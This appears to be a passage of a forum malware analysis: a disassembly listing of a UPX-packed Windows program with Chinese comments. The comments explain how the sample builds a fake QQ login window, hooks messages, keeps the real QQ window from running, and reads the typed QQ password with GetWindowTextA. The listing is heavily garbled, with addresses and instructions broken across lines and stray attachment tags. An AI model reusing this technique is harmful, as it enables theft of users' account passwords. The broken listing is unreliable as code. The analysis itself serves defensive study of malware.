UPX
0
:
0046187
B push ebx
UPX
0
:
0046187
C push esi
UPX
0
:
0046187
D push edi
UPX
0
:
0046187
E
or
ebx
,
0
FFFFFFFFh
UPX
0
:
00461881
call ?AfxGetThread@@YGPAVCWinThread@@XZ ; AfxGetThread
(
void
)
UPX
0
:
00461886
mov esi
,
eax
UPX
0
:
00461888
call ?AfxGetModuleState@@YGPAVAFX_MODULE_STATE@@XZ ; AfxGetModuleState
(
void
)
UPX
0
:
0046188
D push [esp
+
0
Ch
+
arg_C]
UPX
0
:
00461891
mov edi
,
[eax
+
4
]
UPX
0
:
00461894
push [esp
+
10
h
+
arg_
8
]
UPX
0
:
00461898
push [esp
+
14
h
+
arg_
4
]
UPX
0
:
0046189
C push [esp
+
18
h
+
arg_
0
]
UPX
0
:
004618
A
0
call sub_
465
BDF ; ?AfxWinInit@@YGHPAUHINSTANCE__@@
0
PAGH@Z
UPX
0
:
004618
A
0
; doubtful
name
UPX
0
:
004618
A
5
test eax
,
eax ; 获取当前线程,如果获取到则继续向下执行
UPX
0
:
004618
A
7
jz short loc_
461
UPX
0
:
00460605
push esi
UPX
0
:
00460606
call ?AfxGetThreadState@@YGPAV_AFX_THREAD_STATE@@XZ ; AfxGetThreadState
(
void
)
UPX
0
:
0046060
B mov esi
,
eax
UPX
0
:
0046060
D call GetCurrentThreadId
UPX
0
:
00460613
push eax ; dwThreadId
UPX
0
:
00460614
push
0
; hmod
UPX
0
:
00460616
push
offset
?_AfxMsgFilterHook@@YGJHIJ@Z ; lpfn
UPX
0
:
0046061
B push
0
FFFFFFFFh ; idHook
UPX
0
:
0046061
D call SetWindowsHookExA ; 对获取到的ID安装消息钩子,进行监控
UPX
0
:
00460623
push
offset
?CreateObject@?$CProcessLocal@V_AFX_CTL
3
D_STATE@@@@SGPAVCNoTrackObject@@XZ ;
CProcessLocal
<
_AFX_CTL
3
D_STATE
>
:
:
CreateObject
(
void
)
UPX
0
:
00460628
mov ecx
,
offset
dword_
49
FB
00
UPX
0
:
0046062
D mov [esi
+
30
h]
,
eax
UPX
0
:
00460630
call sub_
46540
C
UPX
0
:
00460635
mov esi
,
eax
UPX
0
:
00460637
cmp dword ptr [esi
+
14
h]
,
0
UPX
0
:
0046063
B jz short loc_
460
UPX
0
:
0040
B
4
B
2
UPX
0
:
0040
B
4
B
2
loc_
40
B
4
B
2
:
;
"*.*"
UPX
0
:
0040
B
4
B
2
push
offset
a__
0
UPX
0
:
0040
B
4
B
7
lea ecx
,
[esp
+
198
h
+
lpFileName]
UPX
0
:
0040
B
4
BB call sub_
45
BC
31
UPX
0
:
0040
B
4
C
0
mov ecx
,
[esp
+
194
h
+
lpFileName]
UPX
0
:
0040
B
4
C
4
lea eax
,
[esp
+
194
h
+
FindFileData]
UPX
0
:
0040
B
4
C
8
push eax ; lpFindFileData
UPX
0
:
0040
B
4
C
9
push ecx ; lpFileName
UPX
0
:
0040
B
4
CA call FindFirstFileA ; 查找文件名,判断是否执行文件
UPX
0
:
0040
B
4
D
0
cmp eax
,
0
FFFFFFFFh
UPX
0
:
0040
B
4
D
3
mov [esp
+
194
h
+
hFindFile]
,
eax
UPX
0
:
0040
B
4
D
7
jnz short loc_
40
B
4
UPX
0
:
0045
DE
36
push eax ; lpWndClass
UPX
0
:
0045
DE
37
push dword ptr [esi
+
24
h] ; lpClassName
UPX
0
:
0045
DE
3
A push dword ptr [esi
+
10
h] ; hInstance
UPX
0
:
0045
DE
3
D call GetClassInfoA
UPX
0
:
0045
DE
43
test eax
,
eax
UPX
0
:
0045
DE
45
jnz short loc_
45
DE
9
A
UPX
0
:
0045
DE
47
push esi ; lpWndClass
UPX
0
:
0045
DE
48
call RegisterClassA ; 注册窗口类,为后面的调用伪造的QQ窗口做准备
UPX
0
:
0045
DE
4
E test ax
,
ax
UPX
0
:
0045
DE
51
jnz short loc_
45
DE
57
UPX
0
:
0045
DE
53
xor eax
,
eax
UPX
0
:
0045
DE
55
jmp short loc_
45
DE
9
D
UPX
0
:
0041
C
084
UPX
0
:
0041
C
084
loc_
41
C
084
:
; bRepaint
UPX
0
:
0041
C
084
push
1
UPX
0
:
0041
C
086
push eax ; nHeight
UPX
0
:
0041
C
087
push ebp ; nWidth
UPX
0
:
0041
C
088
push
0
; Y
UPX
0
:
0041
C
08
A push
0
; X
UPX
0
:
0041
C
08
C mov ecx
,
esi
UPX
0
:
0041
C
08
E call ?MoveWindow@CWnd@@QAEXHHHHH@Z ; CWnd
:
:
MoveWindow
(
int
,
int
,
int
,
in
;隐藏指定的窗口
UPX
0
:
0041
C
093
UPX
0
:
0041
C
093
loc_
41
C
093
:
; hWnd
UPX
0
:
0041
C
093
push ebx
UPX
0
:
0041
C
094
call IsWindow ; 确定指定的窗口句柄已存在的窗口
UPX
0
:
0041
C
09
A pop edi
UPX
0
:
0041
C
09
B pop ebp
UPX
0
:
0041
C
09
C test eax
,
eax
UPX
0
:
0041
C
09
E jz short loc_
41
C
0
A
D
84
C
UPX
0
:
0045
D
84
C loc_
45
D
84
C
:
UPX
0
:
0045
D
84
C push edi
UPX
0
:
0045
D
84
D push esi
UPX
0
:
0045
D
84
E call ?AfxHookWindowCreate@@YGXPAVCWnd@@@Z ; AfxHookWindowCreate
(
CWnd
*
)
UPX
0
:
0045
D
853
push [ebp
+
lpParam] ; lpParam
UPX
0
:
0045
D
856
push [ebp
+
hInstance] ; hInstance
UPX
0
:
0045
D
859
push [ebp
+
hMenu] ; hMenu
UPX
0
:
0045
D
85
C push [ebp
+
hWndParent] ; hWndParent
UPX
0
:
0045
D
85
F push [ebp
+
nHeight] ; nHeight
UPX
0
:
0045
D
862
push [ebp
+
nWidth] ; nWidth
UPX
0
:
0045
D
865
push [ebp
+
Y] ; Y
UPX
0
:
0045
D
868
push [ebp
+
X] ; X
UPX
0
:
0045
D
86
B push [ebp
+
dwStyle] ; dwStyle
UPX
0
:
0045
D
86
E push [ebp
+
lpWindowName] ; lpWindowName
UPX
0
:
0045
D
871
push [ebp
+
lpClassName] ; lpClassName
UPX
0
:
0045
D
874
push [ebp
+
dwExStyle] ; dwExStyle
UPX
0
:
0045
D
877
call CreateWindowExA ; 创建一个QQ登陆窗口
UPX
0
:
0045
D
87
D mov edi
,
eax
UPX
0
:
0045
D
87
F call ?AfxUnhookWindowCreate@@YGHXZ ; AfxUnhookWindowCreate
(
void
)
UPX
0
:
0045
D
884
test eax
,
eax
UPX
0
:
0045
D
886
jnz short loc_
45
D
UPX
0
:
0044
D
22
E
UPX
0
:
0044
D
22
E loc_
44
D
22
E
:
UPX
0
:
0044
D
22
E push esi
UPX
0
:
0044
D
22
F mov esi
,
offset
Addend
UPX
0
:
0044
D
234
push edi
UPX
0
:
0044
D
235
push esi ; lpAddend
UPX
0
:
0044
D
236
call InterlockedIncrement ; 保证当前只能运行钓鱼窗口QQ窗口无法运行
UPX
0
:
0044
D
23
C cmp ds
:
dword_
4
A
0168
,
ebx
UPX
0
:
0044
D
242
mov edi
,
InterlockedDecrement
UPX
0
:
0044
D
248
jz short loc_
44
D
2
UPX
0
:
0044
D
24
A push esi ; lpAddend
UPX
0
:
0044
D
24
B call edi ; InterlockedDecrement
UPX
0
:
0044
D
24
D push
13
h
UPX
0
:
0044
D
24
F call __lock
UPX
0
:
0044
D
254
pop ecx
UPX
0
:
0044
D
255
push
1
UPX
0
:
0045
DC
52
push dword ptr [esi
+
1
Ch] ; hWnd
UPX
0
:
0045
DC
55
call GetWindowTextLengthA ; 返回QQ密码的长度,并且存放在缓冲区
UPX
0
:
0045
DC
5
B lea ecx
,
[eax
+
1
]
UPX
0
:
0045
DC
5
E push ecx ; nMaxCount
UPX
0
:
0045
DC
5
F mov ecx
,
[esp
+
8
+
arg_
0
]
UPX
0
:
0045
DC
63
push eax
UPX
0
:
0045
DC
64
call ?GetBufferSetLength@CString@@QAEPADH@Z ; CString
:
:
GetBufferSetLength
(
int
)
UPX
0
:
0045
DC
69
push eax ; lpString
UPX
0
:
0045
DC
6
A push dword ptr [esi
+
1
Ch] ; hWnd
UPX
0
:
0045
DC
6
D call GetWindowTextA ; 获取QQ密码
UPX
0
:
0045
DC
73
mov ecx
,
[esp
+
4
+
arg_
0
]
UPX
0
:
0045
DC
77
push
0
FFFFFFFFh
UPX
0
:
0045
DC
79
call ?ReleaseBuffer@CString@@QAEXH@Z ; CString
:
:
ReleaseBuffer
(
int
)
UPX
0
:
0045
DC
7
E jmp short loc_
45
D
UPX
0
:
0041
C
0
A
0
push
5
; nCmdShow
UPX
0
:
0041
C
0
A
2
push ebx ; hWnd
UPX
0
:
0041
C
0
A
3
call ShowWindow ; 展示伪造的QQ登陆窗口[attach]
209831
[
/
attach][attach]
209831
[
/
attach]
UPX
0
:
0045
D
735
push dword ptr [esi
+
2
Ch] ; hhk
UPX
0
:
0045
D
738
call UnhookWindowsHookEx ; 卸载消息钩子
UPX
0
:
0045
D
73
E
and
dword ptr [esi
+
2
Ch